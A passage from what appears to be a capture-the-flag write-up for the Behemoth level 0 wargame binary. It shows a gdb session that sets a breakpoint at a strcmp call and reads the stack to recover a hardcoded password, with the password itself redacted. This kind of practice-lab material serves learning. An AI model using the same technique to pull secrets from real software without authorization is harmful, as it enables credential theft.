Looking at this we find there is a good ole strcmp. It’s a c function used to compare two strings. We know that our data will be on the stack when this compare occurs so we can easily debug this and grab the password. Works for this case but generally won’t work in most.

(gdb) break *0x08048632
Breakpoint 1 at 0x8048632
(gdb) run
Starting program: /games/behemoth/behemoth0 
Password: aaa

Breakpoint 1, 0x08048632 in main ()
(gdb) x/s $eax
0xffffd67b:	"aaa"
(gdb) x/s $esp
0xffffd650:	"{\326\377\377o\326\377\377p\326\377\377\322\202\004\b \207\004\b8\207\004\bM\207\004\b\346m\353[OMITTED]"

There is our password, we could also do this on the test function which we can see is taking the EAX register.